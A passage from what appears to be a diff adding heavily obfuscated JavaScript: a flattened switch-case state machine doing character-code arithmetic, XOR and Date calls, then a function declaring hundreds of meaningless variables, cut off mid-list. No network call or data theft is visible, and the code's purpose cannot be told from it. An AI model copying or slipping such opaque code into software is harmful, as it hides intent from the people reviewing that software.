_$Ba += 21; + break; + case 58: + try { + _$xa = Buf; + _$cv = _$xa + } catch (_$a) { + _$xa = 434; + _$Sc = _$xa + } + _$Ba -= 37; + break; + case 59: + _$Kv = []; + _$Ba += 28; + break; + case 60: + _$Tc = _$Tc + 1; + _$Ba += 15; + break; + case 61: + for (_$vv = 1; _$vv < _$Se.length; _$vv++) { + _$xa = _$Se; + _$Fa = _$OC; + _$Ja = _$vv; + _$$a = _$xa[_$Fa](_$Ja); + _$ae = _$me; + _$re = _$OC; + _$ce = _$vv; + _$ve = 1; + _$se = _$ce - _$ve; + _$ne = _$ae[_$re](_$se); + _$fe = _$$a - _$ne; + _$te = _$bW(_$fe); + _$me += _$te + } + _$Ba += 25; + break; + case 62: + if (!_$Ce) { + _$xa = _$De; + _$Fa = 2; + _$Ja = _$Ce; + _$$a = _$Fa + _$Ja; + _$ae = _$je; + _$re = _$$a - _$ae; + _$ce = _$xa << _$re; + _$De = _$ce + } + _$Ba += 10; + break; + case 63: + _$kY = new Array(_$Me.length); + _$Ba += 6; + break; + case 64: + _$sv = _$Ie; + _$Ba -= 8; + break; + case 65: + _$EW = []; + _$Ba -= 13; + break; + case 66: + for (_$nv = 0; _$nv < _$wv.length; _$nv++) { + _$xa = _$be; + _$Fa = _$wv; + _$Ja = _$nv; + _$$a = _$Fa[_$Ja]; + _$ae = 6; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$be = _$ve + } + _$Ba -= 13; + break; + case 67: + if (_$Wv instanceof Array && _$Wv.length > 0) { + _$xa = _$zv; + _$Ev = _$xa + } else { + _$xa = _$Wv; + _$Ev = _$xa + } + _$Ba -= 27; + break; + case 68: + for (_$fv = 0; _$fv < _$a.length; _$fv++) { + _$xa = _$Te; + _$Fa = _$LC; + _$Ja = _$a; + _$$a = _$_C; + _$ae = _$fv; + _$re = _$Ja[_$$a](_$ae); + _$ce = _$OC; + _$ve = _$re[_$ce](); + _$se = 128; + _$ne = _$ve ^ _$se; + _$xa[_$Fa](_$ne) + } + _$Ba += 5; + break; + case 69: + _$KW = [397, 218, 97, 533]; + _$Ba += 1; + break; + case 70: + _$tv = []; + _$iv = _$LM; + _$ov = 1; + _$Ba -= 53; + break; + case 71: + _$yv = 1; + _$Ba -= 58; + break; + case 72: + _$kv = _$BC; + _$Ba -= 18; + break; + case 73: + _$bv = _$Te; + _$Ba -= 71; + break; + case 74: + for (_$lv = 0; _$lv < _$Kv.length; _$lv++) { + _$xa = _$Kv; + _$Fa = _$lv; + _$Ja = _$xa[_$Fa]; + _$$a = _$bW(_$Ja); + _$Sv += _$$a + } + _$Ba += 15; + break; + case 75: + _$mc = 1; + _$Ba -= 13; + break; + case 76: + _$ov = _$ov.p(_$iv); + _$Ba += 5; + break; + case 77: + _$hv = _$Ic.j(_$BC); + _$Ba -= 28; + break; + case 78: + if (!_$je) { + _$xa = 5; + _$Fa = _$De; + _$Ja = _$xa + _$Fa; + _$$a = 3; + _$ae = _$Ja >> _$$a; + _$je = _$ae + } + _$Ba -= 13; + break; + case 79: + _$yv = _$_M; + _$wv = 1; + _$Ba -= 71; + break; + case 80: + _$dv = _$j + _$m + _$C + _$T + _$D; + _$Mv = function(_$a, _$e) { + var _$r = _$KA; + var _$c = _$DA; + var _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p; + for (_$v = 0; _$v < _$a.length; _$v++) { + _$s = _$a; + _$n = _$v; + _$f = _$s[_$n]; + _$t = _$e; + _$i = _$f === _$t; + if (_$i) { + _$s = _$v; + return _$s + } + } + _$s = []; + _$o = _$s; + _$n = _$c + _$r; + _$k = _$n; + for (_$b = _$k.length - 1; _$b >= 0; _$b--) { + _$s = _$o; + _$n = _$LC; + _$f = _$k; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$o; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$o = _$t; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 4; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$EC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$o; + _$n = _$k; + _$f = _$s + _$n; + _$p = _$f; + _$s = []; + _$k = _$s; + for (_$b = _$k.length - 1; _$b >= 4; _$b--) { + _$s = _$k; + _$n = _$LC; + _$f = _$p; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$k; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$k = _$t; + _$s = _$zC; + _$k += _$s; + _$s = _$ZC; + _$k += _$s; + _$s = _$_C; + _$k += _$s; + _$s = _$zC; + _$k += _$s; + _$s = _$p; + _$o = _$s; + _$s = _$k; + _$p = _$s; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 7; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$NC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$GC; + _$o += _$s; + _$s = 1; + _$n = -_$s; + return _$n + } + ; + _$Iv = _$M + _$S + _$I + _$P + _$U + _$K + _$A + _$d; + _$Av = _$Iv.length; + _$Dv = 0; + _$Ba += 10; + break; + case 81: + _$Qv = (new Date)[_$ie](); + _$Ba -= 55; + break; + case 82: + _$Mc = _$Mc.p(_$dc); + _$Ba -= 44; + break; + case 83: + _$Ba -= 60; + break; + case 84: + if (_$je + _$Ce + _$je > 0) { + _$xa = _$je; + _$Fa = _$De; + _$Ja = _$Ke; + _$$a = _$Fa + _$Ja; + _$ae = _$xa >> _$$a; + _$re = _$je; + _$ce = _$ae >> _$re; + _$Ce = _$ce; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa + _$Fa; + _$Ke = _$Ja + } + _$Ba -= 21; + break; + case 85: + for (_$Rv = 0; _$Rv < _$Sv; _$Rv++) { + _$xa = _$Iv; + _$Fa = _$dv; + _$Ja = _$_C; + _$$a = _$Dv; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Mv(_$xa, _$ae); + _$Cv = _$re; + _$Dv++; + _$xa = _$Iv; + _$Fa = _$dv; + _$Ja = _$_C; + _$$a = _$Dv; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Mv(_$xa, _$ae); + _$jv = _$re; + _$Dv++; + _$xa = _$Iv; + _$Fa = _$dv; + _$Ja = _$_C; + _$$a = _$Dv; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Mv(_$xa, _$ae); + _$Tv = _$re; + _$Dv++; + _$xa = _$Iv; + _$Fa = _$dv; + _$Ja = _$_C; + _$$a = _$Dv; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Mv(_$xa, _$ae); + _$mv = _$re; + _$Dv++; + _$xa = _$Kv; + _$Fa = _$Rv; + _$Ja = _$Cv; + _$$a = _$Av; + _$ae = _$Ja * _$$a; + _$re = _$Av; + _$ce = _$ae * _$re; + _$ve = _$Av; + _$se = _$ce * _$ve; + _$ne = _$jv; + _$fe = _$Av; + _$te = _$ne * _$fe; + _$we = _$Av; + _$de = _$te * _$we; + _$Le = _$se + _$de; + _$Ve = _$Tv; + _$qe = _$Av; + _$He = _$Ve * _$qe; + _$xe = _$Le + _$He; + _$Be = _$mv; + _$Xe = _$xe + _$Be; + _$xa[_$Fa] = _$Xe + } + _$Ba += 3; + break; + case 86: + _$_v = _$me; + _$Lv = {}; + _$Vv = _$u + _$y + _$h + _$l + _$i + _$g + _$n + _$v + _$t + _$f + _$k + _$e + _$o + _$r + _$b + _$s + _$p + _$w + _$c; + _$Ba += 6; + break; + case 87: + _$Sv = _$dv.length / 4; + _$Ba -= 2; + break; + case 88: + _$Sv = _$BC; + _$Ba -= 14; + break; + case 89: + _$Uv = (new Date)[_$Sv]() & 1; + _$Ba -= 61; + break; + case 90: + if (_$Ce + _$Ke > 0) { + _$xa = _$De; + _$Fa = 4; + _$Ja = _$Ce; + _$$a = _$Fa + _$Ja; + _$ae = _$xa >> _$$a; + _$re = 3; + _$ce = _$Ce; + _$ve = _$re * _$ce; + _$se = _$De; + _$ne = _$ve + _$se; + _$fe = _$ae >> _$ne; + _$te = 2; + _$we = _$fe << _$te; + _$Ke = _$we + } + _$Ba -= 31; + break; + case 91: + _$Tc = [224, 228, 222, 232, 222, 232, 242, 224, 202]; + _$Ba -= 44; + break; + case 92: + _$Ce = -5; + _$Ba -= 74; + break + } + } + } + function _$vU() { + var _$a = _$RM; + var _$e = _$EM; + var _$r = _$zM; + var _$c = _$ZM; + var _$v = _$NM; + var _$s = _$GM; + var _$n = _$PM; + var _$f = _$OM; + var _$t = _$UM; + var _$i = _$YM; + var _$o = _$WM; + var _$k = _$QM; + var _$b = _$KM; + var _$l = _$DM; + var _$h = _$CM; + var _$g = _$jM; + var _$u = _$TM; + var _$p = _$mM; + var _$y = _$SM; + var _$w = _$AM; + var _$d = _$IM; + var _$M = _$MM; + var _$I = _$dM; + var _$A = _$wM; + var _$S = _$yM; + var _$m = _$pM; + var _$T = _$uM; + var _$j = _$gM; + var _$C = _$hM; + var _$D = _$lM; + var _$K = _$bM; + var _$Q = _$kM; + var _$W = _$oM; + var _$Y = _$iM; + var _$U = _$tM; + var _$O = _$fM; + var _$P = _$nM; + var _$G = _$sM; + var _$N = _$vM; + var _$Z = _$cM; + var _$z = _$rM; + var _$E = _$eM; + var _$R = _$aM; + var _$_ = _$$d; + var _$L = _$Jd; + var _$V = _$Fd; + var _$q = _$Xd; + var _$H = _$Nj; + var _$x = _$Bd; + var _$B = _$xd; + var _$X = _$Hd; + var _$F = _$qd; + var _$J = _$Vd; + var _$$ = _$Ld; + var _$aa = _$_d; + var _$ea = _$Rd; + var _$ra = _$Ed; + var _$ca = _$zd; + var _$va = _$Zd; + var _$sa = _$Nd; + var _$na = _$Gd; + var _$fa = _$Pd; + var _$ta = _$Od; + var _$ia = _$Ud; + var _$oa = _$Yd; + var _$ka = _$Wd; + var _$ba = _$Qd; + var _$la = _$Kd; + var _$ha = _$Dd; + var _$ga = _$Cd; + var _$ua = _$jd; + var _$pa = _$Td; + var _$ya = _$md; + var _$wa = _$Sd; + var _$da = _$Ad; + var _$Ma = _$Id; + var _$Ia = _$Md; + var _$Aa = _$dd; + var _$Sa = _$wd; + var _$ma = _$yd; + var _$Ta = _$pd; + var _$ja = _$ud; + var _$Ca = _$gd; + var _$Da = _$hd; + var _$Ka = _$ld; + var _$Qa = _$bd; + var _$Wa = _$MK; + var _$Ya = _$pC; + var _$Ua = _$kd; + var _$Oa = _$dK; + var _$Pa = _$od; + var _$Ga = _$Ej; + var _$Na = _$wK; + var _$Za = _$id; + var _$za = _$td; + var _$Ea = _$fd; + var _$Ra = _$nd; + var _$_a = _$sd; + var _$La = _$vd; + var _$Va = _$cd; + var _$qa = _$rd; + var _$Ha = _$ed; + var _$xa = _$ad; + var _$Ba = _$$w; + var _$Xa = _$pj; + var _$Fa = _$Jw; + var _$Ja = _$uj; + var _$$a = _$Fw; + var _$ae = _$Xw; + var _$ee = _$Bw; + var _$re = _$xw; + var _$ce = _$bC; + var _$ve = _$Hw; + var _$se = _$qw; + var _$ne = _$Vw; + var _$fe = _$Lw; + var _$te = _$_w; + var _$ie = _$CC; + var _$oe = _$Rw; + var _$ke = _$yK; + var _$be = _$wj; + var _$le = _$yj; + var _$he = _$Ew; + var _$ge = _$zw; + var _$ue = _$Zw; + var _$pe = _$Nw; + var _$ye = _$Gw; + var _$we = _$Pw; + var _$de = _$Ow; + var _$Me = _$Uw; + var _$Ie = _$Yw; + var _$Ae = _$Ww; + var _$Se = _$Qw; + var _$me = _$Kw; + var _$Te = _$Dw; + var _$je = _$Cw; + var _$Ce = _$jw; + var _$De = _$Tw; + var _$Ke = _$mw; + var _$Qe = _$Sw; + var _$We = _$Aw; + var _$Ye = _$Iw; + var _$Ue = _$Mw; + var _$Oe = _$dw; + var _$Pe = _$ww; + var _$Ge = _$yw; + var _$Ne = _$uK; + var _$Ze = _$pw; + var _$ze = _$uC; + var _$Ee = _$gK; + var _$Re = _$IK; + var _$_e = _$uw; + var _$Le = _$bA; + var _$Ve = _$gw; + var _$qe = _$hw; + var _$He = _$lw; + var _$xe = _$oK; + var _$Be = _$lK; + var _$Xe = _$bw; + var _$Fe = _$kw; + var _$Je = _$ow; + var _$$e = _$iw; + var _$ar = _$tw; + var _$er = _$_j; + var _$rr = _$Rj; + var _$cr = _$fw; + var _$vr = _$nw; + var _$sr = _$Zj; + var _$nr = _$sw; + var _$fr = _$vw; + var _$tr = _$cw; + var _$ir = _$rw; + var _$or = _$ew; + var _$kr = _$aw; + var _$br = _$$y; + var _$lr = _$Jy; + var _$hr = _$Fy; + var _$gr = _$xS; + var _$ur = _$BS; + var _$pr = _$Xy; + var _$yr = _$By; + var _$wr = _$xy; + var _$dr = _$Hy; + var _$Mr = _$qy; + var _$Ir = _$Vy; + var _$Ar = _$Ly; + var _$Sr = _$dj; + var _$mr = _$_y; + var _$Tr = _$Ry; + var _$jr = _$Ey; + var _$Cr = _$Mj; + var _$Dr = _$zj; + var _$Kr = _$pK; + var _$Qr = _$wA; + var _$Wr = _$zy; + var _$Yr = _$hC; + var _$Ur = _$Zy; + var _$Or = _$pA; + var _$Pr = _$Ny; + var _$Gr = _$Gy; + var _$Nr = _$Py; + var _$Zr = _$Oy; + var _$zr = _$Uy; + var _$Er = _$Yy; + var _$Rr = _$Wy; + var _$_r = _$Qy; + var _$Lr = _$Ky; + var _$Vr = _$tm; + var _$qr = _$Dy; + var _$Hr = _$SA; + var _$xr = _$TA; + var _$Br = _$Cy; + var _$Xr = _$nm; + var _$Fr = _$jy; + var _$Jr = _$Ty; + var _$$r = _$my; + var _$ac = _$NQ; + var _$ec = _$Sy; + var _$rc = _$Ay; + var _$cc = _$Iy; + var _$vc = _$My; + var _$sc = _$dy; + var _$nc = _$wy; + var _$fc = _$yy; + var _$tc = _$Fj; + var _$ic = _$py; + var _$oc = _$NC; + var _$kc = _$uy; + var _$bc = _$gy; + var _$lc = _$hy; + var _$hc = _$pm; + var _$gc = _$gm; + var _$uc = _$ym; + var _$pc = _$um; + var _$yc = _$SC; + var _$wc = _$mC; + var _$dc = _$XS; + var _$Mc = _$FS; + var _$Ic = _$ly; + var _$Ac = _$by; + var _$Sc = _$ky; + var _$mc = _$oy; + var _$Tc = _$iy; + var _$jc = _$ty; + var _$Cc = _$DQ; + var _$Dc = _$fy; + var _$Kc = _$gQ; + var _$Qc = _$ny; + var _$Wc = _$km; + var _$Yc = _$sy; + var _$Uc = _$Qj; + var _$Oc = _$vy; + var _$Pc = _$cy; + var _$Gc = _$ry; + var _$Nc = _$lm; + var _$Zc = _$uQ; + var _$zc = _$ey; + var _$Ec = _$EQ; + var _$Rc = _$ay; + var _$_c = _$$p; + var _$Lc = _$Jp; + var _$Vc = _$Fp; + var _$qc = _$Xp; + var _$Hc = _$Bp; + var _$xc = _$xp; + var _$Bc = _$Hp; + var _$Xc = _$qp; + var _$Fc = _$Vp; + var _$Jc = _$Lp; + var _$$c = _$_p; + var _$av = _$Rp; + var _$ev = _$Ep; + var _$rv = _$zp; + var _$cv = _$Zp; + var _$vv = _$Np; + var _$sv = _$Gp; + var _$nv = _$Pp; + var _$fv = _$Op; + var _$tv = _$Up; + var _$iv = _$Yp; + var _$ov = _$Wp; + var _$kv = _$Qp; + var _$bv = _$Kp; + var _$lv = _$Dp; + var _$hv = _$Cp; + var _$gv = _$jp; + var _$uv = _$Tp; + var _$pv = _$mp; + var _$yv = _$Sp; + var _$wv = _$Ap; + var _$dv = _$Ip; + var _$Mv = _$Mp; + var _$Iv = _$dp; + var _$Av = _$wp; + var _$Sv = _$yp; + var _$mv = _$pp; + var _$Tv = _$up; + var _$jv = _$gp; + var _$Cv = _$hp; + var _$Dv = _$lp; + var _$Kv = _$bp; + var _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$Jv, _$$v, _$as, _$es, _$rs, _$cs, _$vs, _$ss, _$ns, _$fs, _$ts, _$is, _$os, _$ks, _$bs, _$ls, _$hs, _$gs, _$us, _$ps, _$ys, _$ws, _$ds, _$Ms, _$Is, _$As, _$Ss, _$ms, _$Ts, _$js, _$Cs, _$Ds, _$Ks, _$Qs, _$Ws, _$Ys, _$Us, _$Os, _$Ps, _$Gs, _$Ns, _$Zs, _$zs, _$Es, _$Rs, _$_s, _$Ls, _$Vs, _$qs, _$Hs, _$xs, _$Bs, _$Xs, _$Fs, _$Js, _$$s, _$an, _$en, _$rn, _$cn, _$vn, _$sn, _$nn, _$fn, _$tn, _$in, _$on, _$kn, _$bn, _$ln, _$hn, _$gn, _$un, _$pn, _$yn, _$wn, _$dn, _$Mn, _$In, _$An, _$Sn, _$mn, _$Tn, _$jn, _$Cn, _$Dn, _$Kn, _$Qn, _$Wn, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn, _$Bn, _$Xn, _$Fn, _$Jn, _$$n, _$af, _$ef, _$rf, _$cf, _$vf, _$sf, _$nf, _$ff, _$tf, _$if, _$of, _$kf, _$bf, _$lf, _$hf, _$gf, _$uf, _$pf, _$yf, _$wf, _$df, _$Mf, _$If, _$Af, _$Sf, _$mf, _$Tf, _$jf, _$Cf, _$Df, _$Kf, _$Qf, _$Wf, _$Yf, _$Uf, _$Of, _$Pf, _$Gf, _$Nf, _$Zf, _$zf, _$Ef, _$Rf, _$_f, _$Lf, _$Vf, _$qf, _$Hf, _$xf, _$Bf, _$Xf, _$Ff, _$Jf, _$$f, _$at, _$et, _$rt, _$ct, _$vt, _$st, _$nt, _$ft, _$tt, _$it, _$ot, _$kt, _$bt, _$lt, _$ht, _$gt, _$ut, _$pt, _$yt, _$wt, _$dt, _$Mt, _$It, _$At, _$St, _$mt, _$Tt, _$jt, _$Ct, _$Dt, _$Kt, _$Qt, _$Wt, _$Yt, _$Ut, _$Ot, _$Pt, _$Gt, _$Nt, _$Zt, _$zt, _$Et, _$Rt, _$_t, _$Lt, _$Vt, _$qt, _$Ht, _$xt, _$Bt, _$Xt, _$Ft, _$Jt, _$$t, _$ai, _$ei, _$ri, _$ci, _$vi, _$si, _$ni, _$fi, _$ti, _$ii, _$oi, _$ki, _$bi, _$li, _$hi, _$gi, _$ui, _$pi, _$yi, _$wi, _$di, _$Mi, _$Ii, _$Ai, _$Si, _$mi, _$Ti, _$ji, _$Ci, _$Di, _$Ki, _$Qi, _$Wi, _$Yi, _$Ui, _$Oi, _$Pi, _$Gi, _$Ni, _$Zi, _$zi, _$Ei, _$Ri, _$_i, _$Li, _$Vi, _$qi, _$Hi, _$xi, _$Bi, _$Xi, _$Fi, _$Ji, _$$i, _$ao, _$eo, _$ro, _$co, _$vo, _$so, _$no, _$fo, _$to, _$io, _$oo, _$ko, _$bo, _$lo, _$ho, _$go, _$uo, _$po, _$yo, _$wo, _$do, _$Mo, _$Io, _$Ao, _$So, _$mo, _$To, _$jo, _$Co, _$Do, _$Ko, _$Qo, _$Wo, _$Yo, _$Uo, _$Oo, _$Po, _$Go, _$No, _$Zo, _$zo, _$Eo, _$Ro, _$_o, _$Lo, _$Vo, _$qo, _$Ho, _$xo, _$Bo, _$Xo, _$Fo, _$Jo, _$$o, _$ak, _$ek, _$rk, _$ck, _$vk, _$sk, _$nk, _$fk, _$tk, _$ik, _$ok, _$kk, _$bk, _$lk, _$hk, _$gk, _$uk, _$pk, _$yk, _$wk, _$dk, _$Mk, _$Ik, _$Ak, _$Sk, _$mk, _$Tk, _$jk, _$Ck, _$Dk, _$Kk, _$Qk, _$Wk, _$Yk, _$Uk, _$Ok, _$Pk, _$Gk, _$Nk, _$Zk, _$zk, _$Ek, _$Rk, _$_k, _$Lk, _$Vk, _$qk, _$Hk, _$xk, _$Bk, _$Xk, _$Fk, _$Jk, _$$k, _$ab, _$eb, _$rb, _$cb, _$vb, _$sb, _$nb, _$fb, _$tb, _$ib, _$ob, _$kb, _$bb, _$lb, _$hb, _$gb, _$ub, _$pb, _$yb, _$wb, _$db, _$Mb, _$Ib, _$Ab, _$Sb, _$mb, _$Tb, _$jb, _$Cb, _$Db, _$Kb, _$Qb, _$Wb, _$Yb, _$Ub, _$Ob, _$Pb, _$Gb, _$_M, _$LM, _$VM, _$qM, _$HM, _$xM, _$BM, _$XM, _$FM, _$JM, _$$M, _$aI, _$eI, _$rI, _$cI, _$vI, _$sI, _$nI, _$fI, _$tI, _$iI, _$oI, _$kI, _$bI, _$lI, _$hI, _$gI, _$uI, _$pI, _$yI, _$wI, _$dI, _$MI, _$II, _$AI, _$SI, _$mI, _$TI, _$jI, _$CI, _$DI, _$KI, _$QI, _$WI, _$YI, _$UI, _$OI, _$PI, _$GI, _$NI, _$ZI, _$zI, _$EI, _$RI, _$_I, _$LI, _$VI, _$qI, _$HI, _$xI, _$BI, _$XI, _$FI, _$JI, _$$I, _$aA, _$eA, _$rA, _$cA, _$vA, _$sA, _$nA, _$fA, _$tA, _$iA, _$oA, _$kA, _$lA, _$hA, _$gA, _$uA, _$yA, _$dA, _$MA, _$IA, _$AA, _$mA, _$jA, _$CA, _$WA, _$YA, _$UA, _$PA, _$NA, _$ZA, _$zA, _$EA, _$RA, _$_A, _$LA, _$VA, _$qA, _$HA, _$xA, _$BA, _$XA, _$FA, _$JA, _$$A, _$aS, _$eS, _$rS, _$cS, _$vS, _$sS, _$nS, _$fS, _$tS, _$iS, _$oS, _$kS, _$bS, _$lS, _$hS, _$gS, _$uS, _$pS, _$yS, _$wS, _$dS, _$MS, _$IS, _$AS, _$SS, _$mS, _$TS, _$jS, _$CS, _$DS, _$KS, _$QS, _$WS, _$YS, _$US, _$OS, _$PS, _$GS, _$NS, _$ZS, _$zS, _$ES, _$RS, _$VS, _$qS, _$HS, _$JS, _$$S, _$am, _$em, _$rm, _$cm, _$vm, _$sm, _$fm, _$im, _$om, _$bm, _$hm, _$wm, _$dm, _$Mm, _$Im, _$Am, _$Sm, _$mm, _$Tm, _$jm, _$Cm, _$Dm, _$Km, _$Qm, _$Wm, _$Ym, _$Um, _$Om, _$Pm, _$Gm, _$Nm, _$Zm, _$zm, _$Em, _$Rm, _$_m, _$Lm, _$Vm, _$qm, _$Hm, _$xm, _$Bm, _$Xm, _$Fm, _$Jm, _$$m, _$aT, _$eT, _$rT, _$cT, _$vT, _$sT, _$nT, _$fT, _$tT, _$iT, _$oT, _$kT, _$bT, _$lT, _$hT, _$gT, _$uT, _$pT, _$yT, _$wT, _$dT, _$MT, _$IT, _$AT, _$ST, _$mT, _$TT, _$jT, _$DT, _$KT, _$QT, _$WT, _$YT, _$UT, _$OT, _$PT, _$GT, _$NT, _$ZT, _$zT, _$ET, _$RT, _$_T, _$LT, _$VT, _$qT, _$HT, _$xT, _$BT, _$XT, _$FT, _$JT, _$$T, _$aj, _$ej, _$rj, _$cj, _$vj, _$sj, _$nj, _$fj, _$tj, _$ij, _$oj, _$kj, _$bj, _$lj, _$hj, _$gj, _$Ij, _$Aj, _$Sj, _$mj, _$Tj, _$jj, _$Cj, _$Dj, _$Kj, _$Wj, _$Yj, _$Uj, _$Oj, _$Pj, _$Gj, _$Lj, _$Vj, _$qj, _$Hj, _$xj, _$Bj, _$Xj, _$Jj, _$$j, _$aC, _$eC, _$rC, _$cC, _$vC, _$sC, _$nC, _$fC, _$tC, _$iC, _$oC, _$kC, _$lC, _$gC, _$yC, _$wC, _$dC, _$MC, _$IC, _$AC, _$TC, _$jC, _$DC, _$KC, _$QC, _$WC, _$YC, _$UC, _$VC, _$qC, _$HC, _$xC, _$XC, _$FC, _$JC, _$$C, _$aD, _$eD, _$rD, _$cD, _$vD, _$sD, _$nD, _$fD, _$tD, _$iD, _$oD, _$kD, _$bD, _$lD, _$hD, _$gD, _$uD, _$pD, _$yD, _$wD, _$dD, _$MD, _$ID, _$AD, _$SD, _$mD, _$TD, _$jD, _$CD, _$DD, _$KD, _$QD, _$WD, _$YD, _$UD, _$OD, _$PD, _$GD, _$ND, _$ZD, _$zD, _$ED, _$RD, _$_D, _$LD, _$VD, _$qD, _$HD, _$xD, _$BD, _$XD, _$FD, _$JD, _$$D, _$aK, _$eK, _$rK, _$cK, _$vK, _$sK, _$nK, _$fK, _$tK, _$iK, _$kK, _$bK, _$hK, _$AK, _$SK, _$mK, _$TK, _$jK, _$CK, _$DK, _$QK, _$WK, _$YK, _$UK, _$OK, _$PK, _$GK, _$NK, _$ZK, _$zK, _$EK, _$RK, _$_K, _$LK, _$VK, _$qK, _$HK, _$xK, _$BK, _$XK, _$FK, _$JK, _$$K, _$aQ, _$eQ, _$rQ, _$cQ, _$vQ, _$sQ, _$nQ, _$fQ, _$tQ, _$iQ, _$oQ, _$kQ, _$bQ, _$lQ, _$hQ, _$pQ, _$yQ, _$wQ, _$dQ, _$MQ, _$IQ, _$AQ, _$SQ, _$mQ, _$TQ, _$jQ, _$CQ, _$KQ, _$QQ, _$WQ, _$YQ, _$UQ, _$OQ, _$PQ, _$GQ, _$ZQ, _$zQ, _$RQ, _$_Q, _$LQ, _$VQ, _$qQ, _$HQ, _$xQ, _$BQ, _$XQ, _$JQ, _$$Q, _$aW, _$eW, _$rW, _$cW, _$vW, _$sW, _$nW, _$fW, _$tW, _$iW, _$oW, _$kW, _$lW, _$hW, _$wW, _$dW, _$MW, _$SW, _$mW, _$TW, _$jW, _$CW, _$KW, _$QW, _$WW, _$YW, _$PW, _$NW, _$ZW, _$EW, _$RW, _$HW, _$xW, _$XW, _$FW, _$JW, _$aY, _$eY, _$cY, _$nY, _$fY, _$tY, _$kY, _$lY, _$gY, _$pY, _$dY, _$AY, _$SY, _$TY, _$CY, _$QY, _$YY, _$GY, _$NY, _$ZY, _$RY, _$VY, _$qY, _$HY, _$xY, _$BY, _$XY, _$FY, _$JY, _$$Y, _$aU, _$rU, _$cU, _$vU, _$sU, _$nU, _$fU, _$tU, _$iU, _$kU, _$bU, _$lU, _$hU, _$uU, _$wU, _$dU, _$MU, _$IU, _$SU, _$mU, _$TU, _$jU, _$CU, _$DU, _$KU, _$QU, _$WU, _$YU, _$UU, _$OU, _$PU, _$GU, _$NU, _$ZU, _$zU, _$EU, _$RU, _$_U, _$LU, _$VU, _$qU, _$HU, _$xU, _$BU, _$XU, _$FU, _$JU, _$$U, _$aO, _$eO, _$rO, _$cO, _$vO, _$sO, _$nO, _$fO, _$tO, _$iO, _$oO, _$kO, _$bO, _$lO, _$hO, _$gO, _$uO, _$pO, _$yO, _$wO, _$dO, _$MO, _$IO, _$AO, _$SO, _$mO, _$TO, _$jO, _$CO, _$DO, _$KO, _$QO, _$WO, _$YO, _$UO, _$OO, _$PO, _$GO, _$NO, _$ZO, _$zO, _$EO, _$RO, _$_O, _$LO, _$VO, _$qO, _$HO, _$xO, _$BO, _$XO, _$FO, _$JO, _$$O, _$aP, _$eP, _$rP, _$cP, _$vP, _$sP, _$nP, _$fP, _$tP, _$iP, _$oP, _$kP, _$bP, _$lP, _$hP, _$gP, _$uP, _$pP, _$yP, _$wP, _$dP, _$MP, _$IP, _$AP, _$SP, _$mP, _$TP, _$jP, _$CP, _$DP, _$KP, _$QP, _$WP, _$YP, _$UP, _$OP, _$PP, _$GP, _$NP, _$ZP, _$zP, _$EP, _$RP, _$_P, _$LP, _$VP, _$qP, _$HP, _$xP, _$BP, _$XP, _$FP, _$JP, _$$P, _$aG, _$eG, _$rG, _$cG, _$vG, _$sG, _$nG, _$fG, _$tG, _$iG, _$oG, _$kG, _$bG, _$lG, _$hG, _$gG, _$uG, _$pG, _$yG, _$wG, _$dG, _$MG, _$IG, _$AG, _$SG, _$mG, _$TG, _$jG, _$CG, _$DG, _$KG, _$QG, _$WG, _$YG, _$UG, _$OG, _$PG, _$GG, _$NG, _$ZG, _$zG, _$EG, _$RG, _$_G, _$LG, _$VG, _$qG, _$HG, _$xG, _$BG, _$XG, _$FG, _$JG, _$$G, _$aN, _$eN, _$rN, _$cN, _$vN, _$sN, _$nN, _$fN, _$tN, _$iN, _$oN, _$kN, _$bN, _$lN, _$hN, _$gN, _$uN, _$pN, _$yN, _$wN, _$dN, _$MN, _$IN, _$AN, _$SN, _$mN, _$TN, _$jN, _$CN, _$DN, _$KN, _$QN, _$WN, _$YN, _$UN, _$ON, _$PN, _$GN, _$NN, _$ZN, _$zN, _$EN, _$RN, _$_N, _$LN, _$VN, _$qN, _$HN, _$xN, _$BN, _$XN, _$FN, _$JN, _$$N, _$aZ, _$eZ, _$rZ, _$cZ, _$vZ, _$sZ, _$nZ, _$fZ, _$tZ, _$iZ, _$oZ, _$kZ, _$bZ, _$lZ, _$hZ, _$gZ, _$uZ, _$pZ, _$yZ, _$wZ, _$dZ, _$MZ, _$IZ, _$AZ, _$SZ, _$mZ, _$TZ, _$jZ, _$CZ, _$DZ, _$KZ, _$QZ, _$WZ, _$YZ, _$UZ, _$OZ, _$PZ, _$GZ, _$NZ, _$ZZ, _$zZ, _$EZ, _$RZ, _$_Z, _$LZ, _$VZ, _$qZ, _$HZ, _$xZ, _$BZ, _$XZ, _$FZ, _$JZ, _$$Z, _$az, _$ez, _$rz, _$cz, _$vz, _$sz, _$nz, _$fz, _$tz, _$iz, _$oz, _$kz, 